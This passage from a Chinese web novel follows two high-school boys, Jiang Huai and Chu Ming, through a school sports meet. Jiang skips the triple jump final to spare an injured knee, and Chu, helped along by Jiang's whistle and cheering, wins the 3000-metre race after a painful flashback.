【阿越】我不知道你,但我喜欢谁吧,就是一个感觉:很喜欢很喜欢。想到他会笑,看到他想抱……反正有挺多欲望的。 【狗】有更实在点的吗? 【阿越】实在点儿的? 【阿越】你问这个问题就说明你有喜欢的感觉了。 江淮捏着手机发了会儿呆,怀里的玩偶被拎出来,他单手举着这只傻狗,轻声问:“是吗?” 【阿越】什么狗屁问题,哥们你直接上啊! 【阿越】楚明真挺帅的,我刚还刷到他寸头照片了……要不是有你在,我就上了。 【狗】滚蛋。 【狗】我又没说是他。 【阿越】?那我真下手了? 【狗】操。 【狗】有胆子你试试。 【阿越】你喜欢的不是不是他吗? 江淮沉默地一会儿,下定决心似的回复: 【狗】是他。 【阿越】哟哟哟哟哟哟,我就知道。 【狗】睡了。 【狗】没用的东西。 【阿越】睡睡睡,但愿你睡得着,恋爱的玩意儿。 江淮点了免打扰后缩进薄被里,傻狗玩偶被反复揉捏到皱巴,更丑了。 他埋进薄被里,过了一会儿他靠到楚明身边,额头轻抵着他肩头,轻轻阖眼。 有楚明在,他不可能睡不着。 傻逼严越- 离收假日越来越远,学习氛围逐渐浓郁。 但很快在运动会开展的前两天彻底破碎。 晚间自习刘明宇负责守,陈炜则拿着班级名册从头到尾进行登记。 所到之处皆是细碎的讨论声。 “报啥项目啊?” “体委体委最多报多少项目?” …… 从前往后登记,到后排时,陈炜明显局促了些。 把名册递给江淮时还小心翼翼地用袖口遮了遮腕间的小皮筋。 江淮不经意扫过。 “同学,想报什么打个勾就行,”陈炜说:“最少一个项目。” 江淮淡淡地扫过所有项目,思绪有些乱。 深思熟虑之后他抬手在项目跳远那一列打了个小勾。 “好的,感谢参与。” 陈炜本想顺势递到里面的人,但不知道是不是心虚作祟,他把名册收了回来,笑得勉强:“我想起我还没报项目,楚明你先等一下。” 楚明:“……” 陈炜一目十行地定位到楚明那一栏,把已经打好对勾的三千米项目涂黑。 涂完才递进去:“我刚刚不小心划错了,不好意思啊。” 楚明接过名册。 淡淡扫过还能擦出墨迹的黑团,指尖勾起红笔,在那一栏上鲜明非常地划好勾。 “你……”陈炜看清楚他划的项目时震了一瞬,瞄了眼江淮,见他没有要发表意见的意思,追问了句:“你确定要报三千?” 前桌支楞着的耳朵动了动。 “确定。”楚明看着他:“且自愿。” 陈炜:“……”总感觉话里什么词格外扎人。 名单一路前传,而按首字母排序楚明的名字在第三行。 加上黑团红勾格外亮眼,想不注意到都难。 “我操,他报三千,疯了吧?” “还打红勾,生怕没人知道?” “原来我们班上是有人跑三千的啊……” 陈炜统计完名单,给没报满的跳高项目找到良配后,沉呼一口气后回到座位。 课下陆陆续续开始把书本往教室外搬。 途中江淮总能听到楚明的名字出现在诸多毫无关联的话题里,他回到教室弯身收书时拉了楚明一把:“你什么感觉?” 楚明蹲在两座椅之间,微微抬头:“什么什么感觉?” 江淮补充说:“被这么多人盯着看追着说。” “没感觉。”楚明淡淡地说:“早习惯了。” 江淮不自觉地挑了下眉- 运动会开展整整两天,跑步项目穿插在两天之内。 拖板凳带水走进操场列出班级方阵,灿烂的阳光下彩旗飘扬,轰轰烈烈的音乐鼓点从地面震荡到天灵盖。 “……秋季运动会正式开始!” 头一天除了开场舞和短跑项目基本没什么看头,第二天高能项目集结才算是点燃了场面。 “扔不动,根本扔不动,”赵逵逵从场上下来,甩了甩手:“这帮孙子有点牛逼。” 江淮扫过进入决赛圈的几位铅球选手,淡淡地说:“该的。” 赵逵逵抱着楚明递过来的水狠狠喝了两口:“什么该的?” 江淮言简意赅:“你输,该的。” 楚明偏过头笑了笑。 赵逵逵:“……” 他叹了口气:“我只是太久没练了,有些生疏,而且说实话29班那群人真的有点儿超标。” 铅球项目结束,前三均在高二(29)班。 这个班级比较特殊,除了孕育着排名吊车尾的文化生,还有艺术生、体育生……形形色色林林总总。 “走,去看跳高,”赵逵逵对运动会流程熟悉得跟吃饭先拿筷子再夹菜似的,招呼着他俩,“最有看头的节目除了三千就是跳高。” 才走到场地里就见一位选手飞身越杆时没稳住身子,双手在空中扑愣着,一不小心抓着杆滚到软垫上。 围场的发出能掀翻学校的爆笑。 还没等笑声平息,下一位两腿高踢采用跨越式的男生一脚把杆踢飞了…… “啧,”江淮抬手勾住楚明脖颈,下巴抵在他肩头,说:“我好像已经想象到跳远项目多么狼藉了。” 说话间胸膛细微的震动透过衣料贴到背脊,楚明微微偏头:“你报的跳远?” “嗯,”江淮声音有些懒。 楚明拧了下眉:“为什么?” 三级跳远稍不留意就会拉伤韧带…… 江淮手臂把他圈得紧了些:“想试试。” “试什么?”楚明问。 江淮默了两秒:“我觉得我能跳了。” 跳远上了最后一批选手,比较专业,每每越过长杆都激起一片惊天动地的欢呼。 两人却安静着,楚明后背甚至能感受到江淮的心跳。 “去取消,”半晌沉默后楚明拍了下他手背,半背半拽地把他往场地外拉,声音带着些怒气:“你还伤得起第二次?” “这个你别管。”江淮把他往回勾,隔着两层单薄衣料肉/体贴得严丝合缝。 “你要上天吗?”楚明手肘横顶到他腰腹,作势下一秒就要肘击,压低声音斥道:“真当自己铁作的造不死是不是?” 江淮忽地偏了下头。 看着楚明认真的脸,挑了下眉:“你剃个头把嘴也剃刺了?” “这就给你刺到了?”楚明看着他眼睛:“我以为你硬得刀枪不入呢。” 江淮:“……” “才刚入秋你俩就冷到要抱着取暖吗?”等裁判挂长杆调软垫的间隙,赵逵逵往这边看了眼,顿时无语:“身体素质也忒不行了。” 江淮抬眼扫了他一秒,敷衍道:“心寒。” “啥?”赵逵逵问。 江淮随口就来:“看十分钟了还几个人能过杠,有水平啊。” “多正常,有什么好心寒的。”赵逵逵给他送温暖:“都来凑数的能有几个专业,看看就行不用寒心,而且——” “江哥!!”喇叭哥的声音横跨半个操场撞飞了赵逵逵。 赵逵逵看去:“……服了。” 江淮猛地偏了下耳朵,几乎是和身后许多同学同一时间扭头看去: 喇叭哥站在21班班级方阵里拿着名单笑嘻嘻。 下一秒就听广播报道:“请参加男子三级跳远的同学马上到主席台右侧的田赛检录口检录!请……!” 江淮:“……” “好了,现在全校的人都知道有个江哥要参加三级跳了。”赵逵逵说:“你俩去吧,我去沙坑那等你们。” 江淮:“嗯。” 看过来的学生堆里有人起哄,再修炼几年应该能继承喇叭哥的衣钵:“加油啊!这个江哥!” “谢谢。”江淮拿楚明挡了挡视线。 “……”楚明用手肘顶他,往旁边绕开人群的时候沉声说:“我陪你去取消。” 江淮微微弓腰避开他的肘击,抬手握住他手腕,“我有分寸。” 楚明说:“你有屁的分寸。” “操,你怎么说话呢。”江淮戳了戳他后腰:“我的身体我没分寸难道还在你那吗?” “旁观者清,”楚明拽住他手腕把他拽得跟自己并肩直立行走:“傻逼。” 但最终楚明没拗过他。 “你确定?”楚明拿着别针和号码布再度向他确认。 “不然?”江淮看着远处的沙坑,平静地说:“我有分寸。” 楚明很轻地叹了叹气,别好号码布时轻拍他的背:“别到时候爬着回来。” 江淮:“……”- 和江淮预想的一摸一样,三级跳预备期间也是各有各的精彩。 “我看项目上写的跳远,尼玛的我以为是立定跳远,还说我中考跳两米五能在这里秀一秀,请问三级跳是个什么玩意儿?” “助跑过去纵身一跃,不是轻轻松松过坑?” “大哥,进坑都有九米,你能跳过坑我把我祖宗迁到你家祖宗坟里去磕八百个响头。” 体育老师习以为常地做完两局示范,便直接开始。 啪、嘭、咚、哈哈、操、嚓…… 每个人过线之后都是不一样的动静,没过线的比比皆是,伤亡惨重。 “准备,”体育老师看了眼江淮,依旧没报希望地拿笔准备划人。 江淮到位。 “他腿好长,这一步跨得比我命还长!” “啊?三级跳原来是这么跳的吗?” “不是,他飞起来了!我靠这么远!” 落坑,江淮单脚蹬出沙坑从旁站稳,老师在看具体数值,他后退着走了两步,越过层层叠叠的观众轻轻朝对面的楚明挑了下眉。 “好狂!” “我不行了,他是真的帅。” “不是,挑衅我干嘛?惹急了我趴地上把沙坑里的沙吸光!” “……”楚明垂在身侧的手微微抬起,隐秘地给他竖了个大拇指。 把数字记录好,体育老师后知后觉反应过来,睁圆眼睛昂起脑袋把江淮追着看了二里地,欣喜地问道:“练过?” “学过。”江淮低眸活动了下关节,转身往人群外走去,对飘过来的视线没多在意- “牛逼居然进决赛了,”赵逵逵说:“那几个专业的都看你呢。” “想多了,”江淮坐到草坪,接过楚明递来的水,“我才跳到哪跟哪。” 赵逵逵:“……” 他瞪大双眼:“哥们原来你还会谦虚啊!” 楚明坐在江淮旁边,始终没说话。 从公告栏张贴的项目成绩来看,江淮位居第六,并非特别出挑,12.1,被体育老师关照的那几眼多半只是因为衔接一众新手跳,比较亮眼。 他轻敛眉,朝江淮左膝投去一瞥。 “马上要开始决赛了,”赵逵逵关注着场内形势的眼一瞬明亮,“哥们你加油,争取给咱班冲个前三!” 江淮咬着瓶口:“嗯。“ 楚明很轻地叹了叹气: 要真去争前三,意味着得和那几位练过的体育生比,江淮势必得尽全力。 “你干嘛?”江淮把瓶盖旋回去,余光注意到楚明的叹气,鞋尖撞了下他鞋跟。 楚明抬眼,看了他一会儿,起身架着江淮胳膊把人拉到一边。 “怎么?”江淮利索地爬起来,顺着他的力道走,眼里沾着些笑意。 楚明轻声:“别逞能,行吗?” “担心我?”江淮眉毛微微挑起。 “请参加男子三级跳远决赛的同学……”体育老师拿着记分册开始招呼人。 操场内外哄哄然的,吵吵闹闹尽数钻进耳膜。 楚明却感觉这一瞬间世界都安静了,时间静止流逝暂停,只余下心脏热烈的跳动震颤在薄薄的鼓膜。 他咬了下舌尖。 看着江淮的眼睛,挣脱枷锁般用力地应了声,尽管那声音冲破口腔只余耳鬓厮磨般的分贝:“是。” 江淮没想到他会回应,愣了好一会儿,直到赵逵逵着急忙慌地吼道:“江哥,马上该你了你们干嘛呢!” “哦,来了。”他退了一步,但楚明的手还拉着他胳膊,他轻顿:“放心,我有分寸。” 楚明犹豫半秒还是松了手:“但愿。” 江淮前面还有一位选手,正跳。 他刚站到预备区域就听到如雷震般的私语。 “他就是21班的江淮吗?” “嗯?不是都传他腿断了吗?那他刚刚是凭假肢进的决赛吗?” “能问吗?刚跟他说悄悄话的短寸是谁,侧脸和背影迷死我了。” …… “哥们加油,”下一位选手走过来撞了下江淮胳膊:“我13。” 江淮对他话里直白的挑衅视若无睹,目光随意扫过他身下:“哪儿?” 选手:“……” 他慌张地朝四周望了望,应该没人听到:“你说话能不能注意点!我说我跳远!” 江淮没什么心情地扯了下唇角:“嗯。” “我听说你腿有事来着?”选手又撞他胳膊:“要不哥们我先跳,给你争取点缓冲时间?” 江淮拧了下眉,正巧此时体育老师吹哨,示意准备,他抬脚勾住男生膝盖弯给人直接顶出半米:“去。” 选手趔趄两步站到了起跑线内,扭头震惊地看着他:!!! 江淮淡淡地别开眼。 “你站哪了!”体育老师连忙吼来。 选手同手同脚地扭回去,一记暴冲跳出11.7的成绩。 江淮到位。 目光冷冽地看着远处被晒出白光的沙坑,指尖随意地扫过膝盖弯。 “准备好了吗?”体育老师叼着哨子问。 江淮重重地呼出气,罕见地犹豫了半秒,这半秒钟脑海里闪过很多画面。 第一次在球场严重受伤时,教练要上替补队员,他却不管不顾地上场进球切球攻击防守,那场赢得很漂亮,而他最后晕倒了,被医生骂得狗血淋头。 类似的场景很多,十根手指都掰扯不过来。 今天大概率也是,三级跳是强压性运动,交替起跳发力会严重依赖于膝间韧带,他初赛时极致收敛着的一跳都没能完全避开这种冲击。 “嗯?”体育老师拍了下手:“咋还发呆了呢!晕沙子吗?” 江淮轻摇头,晃走脑海里乱七八糟的想法,指尖微抬想要示意“准备好了”,但猛然一瞬间楚明的话跳进他脑海里。 ——“别逞能,行吗?”—— 作者有话说:本章又名: 《我有分寸》by江淮。 第54章 第 54 章 九号选手应声回头。…… 赵逵逵把班级统购的矿泉水捞了两瓶到沙坑旁, 穿梭过人群时快被讨论声淹噶了。 他走到楚明身边,递水:“盛况啊,想当年我在篮球场上叱诧风云的时候比现在还要招风。” “……”楚明接过水, 有意无意地指腹摩挲着瓶盖。 “你别不信, ”赵逵逵撩了把头发:“谁还没有高光时刻啊!你要是高一就认识我就能见证到了。说来也怪,同班同性我俩咋没认识呢?” 楚明指尖轻顿:“可能缘分没到。” “也可能你秀得不够六,”赵逵逵说:“你看江淮来的时候我一眼就给他记住了……你当初开学的时候咋自我介绍来着?” 楚明眸光暗了一瞬,看着沙坑里的凹洼, 一时间没说出话来。 早秋的风仍是热的燥的, 周围闹喳喳的讨论声里总时不时会冒出些震耳欲聋的高音尖叫。 层层叠叠的声浪却虚化在他脑海。 只余下一阵无声的寂静。 他蓦地回想起那次自我介绍。如果那时候知道收敛脾性,会不会就没有后面这些事情…… 楚明忘记眨眼似的目光空洞地看着沙土,窒息的沉默疯狂蔓延, 要吞并整片脑海时被粗暴地打破:“喂——” 他目光慢慢聚焦:“嗯?” 江淮正站他面前,微微蹙着眉地夺走了他手里紧攥住的水瓶。 江淮拧开水瓶,抬脚踢了下他小腿:“你还有睁着眼睛睡觉的功夫我怎么不知道?” “……走神而已。”楚明彻底清醒过来, 后知后觉反应过来决赛早就开始, 身边的观众正在为刚摔进沙坑的男生扼腕叹息。 他轻顿了下:“你跳完了?” “我没跳,”江淮仰头喝了点水。 他说这话时语气很放松,就跟说“我第一”似的。 楚明愣了下:“你……” “啊?为什么?”赵逵逵听到这话忍不住跳起来尖叫:“为什么不跳啊!这不是你的风格啊!啊?” 江淮扭头看了眼明晃晃的沙坑, 嘴角轻轻扯出一抹笑:“膝盖不舒服。” 楚明轻眨眼。 他没想过江淮会直接说出这种对他来说跟示弱般的话, 把缺陷暴露在外, 不那么无坚不摧。 “怎么, ”江淮回头, 啧了一声:“又想我跳了?” 楚明微愣,看着他:“我让你跳就跳吗?” “跳。”江淮很认真地说:“要不是你说那些屁话,这个第一我拿定了。” 楚明笑了笑,退后半步弯腰, 大拇指食指轻按在他左膝两侧:“还疼吗?” “有点儿,”江淮垂眼说。 “都这样了你还想跳呢。”楚明无奈地摇摇头。 江淮笑笑没说话。 赵逵逵拨浪鼓似的两边看,看看楚明又看看江淮,人群有点吵到处都是尖叫喧哗,他听不清他们具体在说什么。 “你们俩……”他叹气:“真是腻歪。”- 食堂并不因为运动会的举行而技术猛增,饭照旧难吃。 江淮和楚明并排,对面是赵逵逵和喇叭哥。 “楚明你下午跑三千体能消耗大,多吃点。”赵逵逵说。 “该少吃点吧,吃多了肚子里全是饭跑起来多重,而且跑完绝对吐,形象不就没了?”喇叭哥说。 “什么歪理!少吃哪来的劲!”赵逵逵大声说。 “吃多了怎么跑得动!你没有生活常识吗?”喇叭哥小声吼。 楚明:“……” 他看着快要打起来的两人,开口:“我有分寸。” 旁边江淮挑了下眉。 “对对对,吃多吃少不如吃得对。”赵逵逵收束说:“你有分寸就好。” 喇叭哥认同地点头,又问:“那你等会吃完要不要去热身跑两圈?之前没跑过上来就跑三千会不会跑不动?万一跑不动那不就难受死了?” 楚明有那么一瞬间感受到了江淮的感受:“……我有分寸。” “啧,”江淮勾了下唇。 把格外关心他三千米的赵逵逵和喇叭哥熬走,楚明看着空荡荡的对面松了口气。 “感觉怎样?”江淮落筷,偏过头来看着他。 “不是一回事。”楚明知道江淮旁敲侧击地在给上午的三级跳找理由,说:“你的伤我了解,我的实力他们不清楚。” 江淮接话:“我清楚。” 楚明默了半晌:“嗯,你清楚。”- 下午只有两个项目,三千和接力。 “能量饮料,跑长跑的话是不是很需要?”英语课代表提着几大瓶水往楚明面前一站。 “我不用,谢谢。”楚明很轻地回应了一声。 “你别误会,”杨棉棉瞬间红了脸:“我给其他接力赛的同学也准备了。” 楚明顿了下,接过:“谢谢。”本来没想到这层的。 等杨棉棉走到前几排,江淮脑袋上盖着校服外套,很轻地斜靠到楚明肩头,不经意地问了句:“什么水?” “嗯?”肩头一沉,楚明抬眼只见一块布料,“红牛,你要喝吗?” 江淮脑袋拱了一下,蹭到楚明脖颈,耳语:“难喝。” 楚明:“……” 他垂眼把瓶盖拧开,很细微地抿了一口,尝了尝:“还好吧。” 江淮拧了下眉:“我尝尝。” 楚明微微侧头,把瓶口移到他唇边,“你手呢?” “废了。”江淮低头含住瓶口,就着他的手抿了抿瓶沿的水渍。 楚明喉间轻滚:“你头往上仰点,别往下压。” “尝到了,”江淮松口,舌尖卷过唇瓣,勾唇:“是还行。” 楚明:“……”刚还难喝呢。 转身时恰好目睹全程的杨棉棉脸一红,提溜着饮料瓶们飞速挪到旁边,细细地发出一声叹息:“我靠!” “怎么了?”赵逵逵临时替了一名接力,熟练地从她口袋里掏出饮料,嘬了口:“你没事吧?” “没事没事。”杨棉棉正想走,看到赵逵逵时顿了一下,问:“那个,你和江淮是不是玩挺好的?” 赵逵逵说:“嗯呐,他我哥们!” “那你知道,”杨棉棉咳了咳,“嗯,就是,他和那个楚明……” 赵逵逵关切地问道:“他们怎么了?” 杨棉棉脸瞬间就白了:“……”大哥,是我在问你好吗? “你别不理我啊,”赵逵逵慌了:“什么什么跟什么啊?诶你别走啊,我真不知道他们怎么了,就是比较腻歪而已啊……诶?诶!诶!”- “检录了检录了。”喇叭哥跑过来:“虽然咱班就你一个,但是没关系不要怕,今年我给你加油。” 楚明把江淮的脑袋往旁边一推:“……倒也不必。” “那还是要的,”喇叭哥嘻嘻说:“我陪你去检录吗?” 没等楚明开口婉拒,就听江淮声音闷闷地说:“我陪。” “哦,我以为你睡觉呢。”喇叭哥晃了晃手里的通知名册:“那你们去吧,我喝点水润润嗓子,等会给你加油。” 楚明简单幻想了下喇叭哥站跑道旁喊加油的盛况:“……” 江淮把头顶的外套分出半块盖到楚明脑袋上,勾住他肩往外走时轻笑着打趣说:“等会儿要耳塞吗?” 楚明回答得不那么坚决:“……不。” “嗯?”江淮说:“你不怕他一声加油给你喊岔气啊?” “不至于,”楚明嘴角勾了抹笑:“再者真有这层威力,其他选手岂不是也都被吓软了?” 江淮笑了笑:“也是。” 检录处的桌上摆着名册和一些号码布。 “21班,楚明。”楚明报了下名字。 “好的,”检录员看了下他,在名单处划好勾轻声说:“九号,这里有别针……” 楚明接过这些物件:“谢谢。” “我来,”走到旁边江淮站他背后,接过别针、号码布,目光扫过红色的九时,他挑了下眉:“还挺巧。” 楚明应了声:“嗯。” “你知道我说什么吗就嗯,”江淮伸手拍了下他后腰,抖了抖号码布。 “知道,”楚明声音沉稳了些:“九号,你的球衣号码。” 搭在布料边角的指尖猛地一颤,江淮掀起眼皮看着楚明修长的后脖颈,不知道为什么一瞬间喉管发涩,他抬手,指腹轻轻划过楚明后颈颈椎上的棘突。 楚明缩了下脖子:“你在干嘛?” “没,”江淮收回手,再别号码布的时候多带了些郑重其事,别好,他轻轻拍了拍:“挺帅的。” “嗯,”楚明抬手揉了揉后颈:“九号选手。” 午后不多久正是天热的时候,后勤部的已经开始分发葡萄糖、绿豆汤、正气液什么的了。 江淮拉了他一下,在他耳边轻声:“加油。” 楚明淡淡一笑:“会的。” 说着他晃掉江淮的手,利落地抬起警戒线弯身走了进去,站到偏外道的那条跑道,平静地压抑着内心的狂跳。 高中以来,这是他第三次跑三千。 和以往两次不同,他头一次想赢。 “各就位——” “——砰!” 枪响的瞬间起跑线十多个身影飞一般地弹射出去,尽数是白衣,纷纷乱乱间只有彩色的号码布张翅飞扬。 场外围着警戒线的人顿时爆发出蓄谋已久的尖叫。 “9班加油!9班加油!” “29班第一!29班第一!” “11班雄起!11班雄起!” …… “我靠江哥我们喊什么?”喇叭哥本来想一句加油走天下,却莫名发现别班的啦啦队阵型有点鼓励原创,瞬间泄气地看向江淮。 江淮目光始终落在贴外道飞扬的身影,“九号楚明。” “牛逼!”喇叭哥对他江哥脱口而出的答案表示百分百赞同,体贴地往旁边走了五步,蓄力,吼:“九号楚明!九号楚明!” “我靠他娘的,给我震耳鸣了!” “谁是楚明?我请问了,谁是楚明!” “看到了,九号,我操,这么跑脸都不崩?好帅!” “九号楚明!九号楚明!” 跑道内人工草场几乎铺满了人,挤着围出的警戒线还疯狂向内跑道探头,被学生会的紧急驱赶。 “七圈半呢,喊太早没用。”学生会的戳了一句- 21班班级区域内几乎还是满席状态,面前是密密麻麻的人墙,根本看不清跑道上是人是鬼。 “我记得楚明报名了来着,刚才听到喇叭哥喊人名字。” “他能跑吗?喊早了多丢面儿啊。” “他剪完寸头跟变了个人似的,感觉挺牛逼的。” “好热,我等他们跑完再去看吧,得不了奖白看,得奖了……应该是幻想。” …… “去加油吧,”杨棉棉帮忙拿毛巾和糖水的时候无语地翻了个白眼:“19班那个瘦猴参加都有一群人喊加油,楚明兴许还能得奖呢。” “得奖又怎样?到时候又不是念我名字。” “要喊你自己去喊,叫我们干什么,我们跟楚明又不熟。” 杨棉棉噎住,毛巾塑封被她捏得嗤嗤作响。 她低垂着头臊红了脸,正要转身就听见大大的一声—— “那我搬的水你们都别喝了,我们又不熟!” 赵逵逵抱着一箱新进的矿泉水到班,嘭地一声把箱子放到板凳上。 区域内静了会儿,离得近的男生连忙陪笑:“黑哥你这话说得就不好听了。” “你们刚刚说的话就好听了?”赵逵逵弯腰暴力拆卸,抽出四瓶水:“一个班的,就别乱喷粪了。” 男生:“……” 赵逵逵抱着水戳了下杨棉棉:“走。” 杨棉棉愣了一下:“……好。”跟上。 “他们不去不去呗,”赵逵逵走出几步笑着说:“我专门带了篮球队的哥们,排面绝对不输。” 杨棉棉看着他,长舒一口气:“厉害。” “你也别放心上,”赵逵逵抱着四瓶水和她往终点标记线走:“只有明智的人才能见证奇迹,傻逼只会事后站队。” 听到这话杨棉棉震惊地看向他,“你居然能说出这种话……” “嘿嘿,”赵逵逵挠了挠头。 忽地捕捉到跑道上的身影,他激动地跳起来吼:“楚明加油!” 杨棉棉被他的声音带得心头澎湃,也跟着吼了句:“楚明加油!” “江哥,”赵逵逵留意到旁边的人,把怀里的一兜水递出去:“拿两瓶。” 江淮偏眸扫了眼:“嗯?” “你和楚明的。”赵逵逵说。 “哦,还有糖,新毛巾。”杨棉棉把没拆封的两样也递给他。 江淮抱着一堆东西,微顿:“……谢谢。” 第二圈结束,开始参差出现选手掉队的情况。 楚明位列第五,他步长大,从弯道越往直道的两百米距离里身形跃出的剪影极其出挑——一步几乎顶别人两步,长腿交替出流畅而张扬的弧度。 “他腿怎么这么长!” “是错觉吗?那个九号,跑得好轻松啊。” “梦里我也是这么跑的,好帅的跑步姿势。” …… 阳光热烫地蒸晒着地面,橡胶跑道在强光曝晒里被蒸出一股刺鼻的气味。 热气源源不断地穿透鞋底漫进身体,氲出额间背上渐大的汗珠。 前面四位选手距离近,在领跑,贴楚明最近的哥们属于那种能冲到哪死哪的类型,第三圈往第四圈过渡的时候明显在漏气,呼吸声大得跟呼噜似的。 楚明看了他一眼,嫌烦,给他超了。 呼噜哥的气越漏越多,被超之后直线往后掉,开始捂住肚子走匀速策略。 视野里画面和呼吸声稳定下来,人与人之间默契地保持着持平。 楚明却在这样的平衡有些失神。 跑道被晒得泛出刺眼的白光,他轻眯了下眼,指甲狠戳进手心里,但思绪不受控制。 …… “这是怎么回事啊?” “你怎么变成这个样子了?” 那晚回家的时候他刚放下书包,就见客厅里爷爷奶奶面色沉重地盯着他,发出接连的质问。 “怎么了?”他预感不对地走到沙发旁,还没坐下脸上就重重砸来两本书。 本能要躲,但面前的是家人,他没怎么动,只是微微侧了下避开锋利的书角。 “才开学多久你尽学坏不学好是不是!” “你看这些脏东西!你还耍朋友!你才几岁你要做那种事情!” 劈头盖脸的斥责里,他把薄书翻面,入眼便是些露骨的照片和文字,他呼吸一怔,视线落在扉页规规整整的两个落笔署名——“楚明”。 瞬间,无力感从头到脚兜来,他那时候练和写的俱是行书。 “还读什么书?越读脑子越坏掉!” “难怪你妈要把你送回来,你就是这副德性,我们活该啊,要来养你!” ……还有些什么话都完全混乱在轰鸣的脑细胞里了,只有那种用力到极致的摔门声还残存在听觉细胞里,他怔怔地看着空荡下来的房间,头皮发麻地滑坐到沙发。 屁股底下垫着的是一摞叠好的被子,他没滑到地上,静静地看了两眼情色杂志,极轻地叹了叹气。 茶几上摆着果盘零食,平时待客才拆的老牌子花生酥正齐齐整整地码在盘里。 那天晚上月亮也不圆,但窗外却格外亮。 他感觉浑身向外生长的刺儿都回缩了,狠狠地戳进皮肉往内脏去钻,生痛生痛的,都说人的骨头是硬的,但那天他却觉得,仅仅是呼吸的牵扯,骨头连筋都在颤动,不堪一击。 第二天他去学校,日常习惯性在后门招呼他的魏天依旧在,吹着泡泡糖大声说:“叫我声天姐,我让你进去!” 他微微抬眼,白茫茫的视野里有个少年嗖地转身,凭借着大步长和高步频飞速窜到前门,在女生还没跑完过道四分之一便轻快进门,颇为遗憾地说了句:“再说吧。” 少年的声音和身形渐远,只余下一声疲累不堪的:“天姐。” 魏天瞳孔猛扩,难以置信地给他让开进去的路,反应良久才发出滔天爆笑。 在那之后21班总是异常安静,课堂再没有一道笔直的身影斩钉截铁地说“我没错”,只有沉静之后微弱的一声“对不起”…… 遗忘的速度总是那么快,有时候他都会忘记自己原本是什么模样,曾经夜里想过的“三年而已,很快就过去了”,渐渐地却成了“时间过得真慢啊。” …… “我想了想,你去跑三千,快点还一分钟检录时间过了!” 他微顿,犹豫半秒后去检录。 那天操场天色暗沉,翻滚着的乌云充斥大半块天空,呼吸间是令人呼吸滞涩的寒意。 他静静地跑着,耳边是大声的叫嚷和无数声呐喊,但没有21班,也没有楚明……好像就是因为这一次,空腹状态下近乎自虐式的三千米长跑,他心态陡转,好似在长久的隐忍里彻底折腰。 三年,就这样,也不是不可以…… …… 眼眶边缘一点点被热气蒸得发干发涩,楚明目视着的前方灰蒙蒙一片。 耳边哄哄乱乱,稳健的脚步却栽向虚浮,呼吸在炽烈的蒸晒和强烈的窒息感里逐渐凌乱,他意识沉散地丢掉了步频。 “诶?”赵逵逵忽地伸手指着持续往后掉的楚明,虽然和下一位选手差了有近百米,但趋势非常不对:“楚明这是怎么了?” 江淮早在半圈前就拧着眉,闻声丢出一瓶水给他,反手拽着喇叭哥便往前挤。 喇叭哥飞快跟上:“江哥,怎么了?” “进弯道你就喊楚明,”江淮敛眉面色沉冷,伸手抓住警戒线不悦地看着选手里格外突兀的楚明,轻声:“大点声。” 喇叭哥开始蓄力:“遵命!” …… 耳鸣了。 楚明想要挣脱这种深海海水压强般的窒息感但有些无力,眼前闪过一张张脸,笑着的怒着的,每一张放大杵到他瞳孔前就跟刀片掷来一样,难以自抑地他呼吸发紧。 浮浮沉沉间有什么声音在穿透鼓膜,一阵高过一阵,天灵盖被震得发麻。 意识有瞬间的破裂,他什么也没听清,视野片刻转入黑沉,要陷下去的前一息,意识裂痕里传出一声熟悉的口哨声! 轰—— 潮浪般的呼声翻涌着撞进耳膜、脑海,神经条疯狂鼓动,一瞬里色彩和声音一同亮在视网膜前。 楚明从真空般的停滞里挣脱。 江淮拍了下喇叭哥,示意他别喊,与此同时熟练地再度吹出一声哨。 九号选手应声回头。 骤然被填充满的耳朵里没有具体的词汇,由暗转亮还带着浓重晕眩的视野里,却刻进一张被阳光映得冷白的脸,触目惊心。 楚明虚浮的双腿顷刻间被唤醒的灵魂接管。 “喊,”江淮松了口气,拍喇叭哥。 “九号楚明!九号楚明!” 打通了任督二脉似的,即将越过警戒线的观众被感染到发出猴叫:“九号九号九号九号!” “楚明加油!楚明加油!“ “加油……” 操场内外被火点过似的燃热赤烈,一阵高过一阵的呼喊像是要把整个操场震碎。 楚明听到了自己的名字。 眼尾余光里江淮的脸转瞬而过,他茫然了一瞬,不知道刚刚看到的听到的是不是错觉。 但下一秒,狭窄的视野边角里猛然撕裂出一道身影——江淮在警戒线内撒腿狂奔,冷白鲜明的侧脸擦过形形色色的虚影。 “我靠,三千都有陪跑的!” “好高!” “加油加油加油!!!!” …… 刹那间楚明感觉灵魂在被重重撞击,虚实交替的视野轰然明晰,他看清楚了百米开外的十三号。 跟上,超过。 他听到了这声指令。 脚步相隔粗壮的人群屏障完全同频,楚明微微偏了下头。 江淮似有所感地跟着偏头,无声地用口型说了句:“傻逼。” 楚明看清了。 沉闷、僵硬的胸腔逐渐流动起来,他呛笑了声,差点岔气。 操,傻逼江淮…… 滚炽的喉管泛出烫人的血腥气,额间滚落豆大的汗珠。 曾经他就是被这种溺水般的脱力彻底淹没、沉寂。 但此时此刻楚明正踩在跑道线上,选择变道,双臂交摆间身形迅然跃超过十三号选手! “加油加油!!” “冲啊啊啊啊!” 最后一千米。 楚明呼吸间已然满是铁锈味,视野里赤色跑道一寸寸被踏没,他别无杂念,紧咬着前方二号选手匀速加速。 再度,脚尖点过跑道线的瞬间,他越过二号独道往前。 边缘视野被晃动得模糊不清,但偶尔他还是能从人头攒动里看清一闪而过的江淮的脸。 膝盖…… 楚明超过前方三号选手的时候脑海里只有一个念头: 江淮的膝盖经得起这么强烈的运动吗! 他狠地压下胸腔里猛烈的不适,视网膜被丝丝血气覆上,他丝毫不管地向前冲去,身形划出一道长长的残影。 他必须至少超江淮一圈整。 “楚哥加油!!!”跑道旁秦苗抱着专业摄像机,叉腰卯足劲儿地吼了一声。 赵逵逵拉着喇叭哥也越到最前,完全不管其他班同学被挤扁的脸,开吼:“九号楚明!九号楚明!” “叮铃——”响铃代表三千最后一圈。 楚明的前方早已空无一人。 半圈之外,代表终点线的红线被拉出,满场的观众开始朝那处挤去。 脚尖点破橡胶跑道上细小的突起,楚明摆臂,浑然不顾地向前猛冲,视线被汗滴浇糊,灵魂拖拽着沉重的身体拼了命地往前,前方是一条朦胧的赤红。 “呼——”哨声脱哨,尖利刺耳。 红线被腰腹扯断,全世界在瞬间闭音,楚明猛然间视线失焦双耳轰鸣。 他赢了。 越过终点线狂嚣着的身体细胞陡然滞停,巨大的脱力感兜头而来,楚明感觉自己像是一根被绷断的细绳,胸腔猛然开始喘咳。 江淮飞快冲出警戒线,想也没想抬手狠地给人按进自己怀中,手臂重重收束紧。 